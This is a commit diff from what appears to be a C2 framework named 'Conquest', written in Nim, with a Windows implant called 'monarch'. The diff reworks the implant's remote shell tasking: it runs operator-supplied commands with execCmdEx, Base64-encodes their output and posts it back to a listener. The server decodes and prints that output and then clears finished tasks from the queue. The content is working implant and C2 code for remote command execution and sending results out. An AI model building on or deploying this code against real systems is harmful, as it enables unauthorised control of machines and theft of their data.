Fix formatting for multi-line command output and delete tasks after completion.

agents/monarch/client.nim

@@ -45,7 +45,6 @@ proc main() =
         # Execute all retrieved tasks and return their output to the server
         for task in tasks: 
             let result = task.handleTask()
-
             discard postResults(listener, agent, result)
             
 when isMainModule: 

agents/monarch/commands/shell.nim

@@ -1,10 +1,14 @@
-import winim, osproc, strutils
+import winim, osproc, strutils, strformat
 
 import ../types
 
-proc taskShell*(command: seq[string]): TaskResult = 
+proc taskShell*(command: seq[string]): tuple[output: TaskResult, status: TaskStatus] = 
 
-    echo command.join(" ")
-    let (output, status) = execCmdEx(command.join(" ")) 
+    echo "Executing command: ", command.join(" ")
 
-    return output 
+    try: 
+        let (output, status) = execCmdEx(command.join(" ")) 
+        return (output, Completed) 
+
+    except CatchableError as err: 
+        return (fmt"An error occured: {err.msg}" & "\n", Failed) 

agents/monarch/http.nim

@@ -26,7 +26,7 @@ proc register*(listener: string): string =
         # Register agent to the Conquest server
         return waitFor client.postContent(fmt"http://localhost:5555/{listener}/register", $body)
     except CatchableError as err:
-        echo "[-] [REGISTER FAILED]:", err.msg
+        echo "[-] [register]:", err.msg
         quit(0)
     finally:
         client.close()
@@ -42,7 +42,7 @@ proc getTasks*(listener: string, agent: string): seq[Task] =
 
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
-        echo "[-] [TASK-RETRIEVAL FAILED]:", err.msg
+        echo "[-] [getTasks]:", err.msg
     finally:
         client.close()
 
@@ -57,12 +57,14 @@ proc postResults*(listener, agent: string, task: Task): bool =
     
     let taskJson = %task
 
+    echo $taskJson
+
     try:
         # Register agent to the Conquest server
         discard waitFor client.postContent(fmt"http://localhost:5555/{listener}/{agent}/{task.id}/results", $taskJson)
     except CatchableError as err:
         # When the listener is not reachable, don't kill the application, but check in at the next time
-        echo "[-] [RESULTS FAILED]:", err.msg
+        echo "[-] [postResults]: ", err.msg
     finally:
         client.close()
 

agents/monarch/task.nim

@@ -1,3 +1,4 @@
+import base64 
 import ./types 
 import ./commands/commands
 
@@ -7,16 +8,16 @@ proc handleTask*(task: Task): Task =
     case task.command: 
     of ExecuteShell: 
         
-        let cmdResult = taskShell(task.args)
-        echo cmdResult
+        let (output, status) = taskShell(task.args)
+        echo output
 
         return Task(
             id: task.id, 
             agent: task.agent,
             command: task.command,
             args: task.args,
-            result: cmdResult,
-            status: Completed
+            result: encode(output), # Base64 encode result
+            status: status
         )
 
     else: 

server/agent/agent.nim

@@ -1,4 +1,4 @@
-import terminal, strformat, strutils, sequtils, tables, json, times
+import terminal, strformat, strutils, sequtils, tables, json, times, base64
 import ./interact
 import ../[types, globals, utils]
 import ../db/database
@@ -163,8 +163,15 @@ proc handleResult*(listener, agent, task: string, taskResult: Task) =
     {.cast(gcsafe).}:
 
         cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Task execution finished.")
-        cq.writeLine(taskResult.result)
         
-        # TODO: Remove completed task from the queue 
+        if taskResult.result != "": 
+            cq.writeLine(fgBlack, styleBright, fmt"[*] [{task}] ", resetStyle, "Output:")
+
+            # Split result string on newline to keep formatting
+            for line in decode(taskResult.result).split("\n"):
+                cq.writeLine(line)
+        
+        # Update task queue to include all tasks, except the one that was just completed
+        cq.agents[agent].tasks = cq.agents[agent].tasks.filterIt(it.id != task)
 
         return 

server/agent/interact.nim

@@ -9,7 +9,7 @@ var parser = newParser:
     help("Conquest Command & Control")
 
     command("shell"):
-        help("Execute a shell command.")
+        help("Execute a shell command and retrieve the output.")
         arg("command", help="Command", nargs = 1)
         arg("arguments", help="Arguments.", nargs = -1) # Handle 0 or more command-line arguments (seq[string])
 
@@ -45,6 +45,7 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
             arguments.insert(command, 0)
             cq.taskExecuteShell(arguments)
             
+
     # Handle help flag
     except ShortCircuit as err:
         if err.flag == "argparse_help":
@@ -52,7 +53,5 @@ proc handleAgentCommand*(cq: Conquest, args: varargs[string]) =
     
     # Handle invalid arguments
     except UsageError: 
-        cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg())
-
-    cq.writeLine("")
+        cq.writeLine(fgRed, styleBright, "[-] ", getCurrentExceptionMsg(), "\n")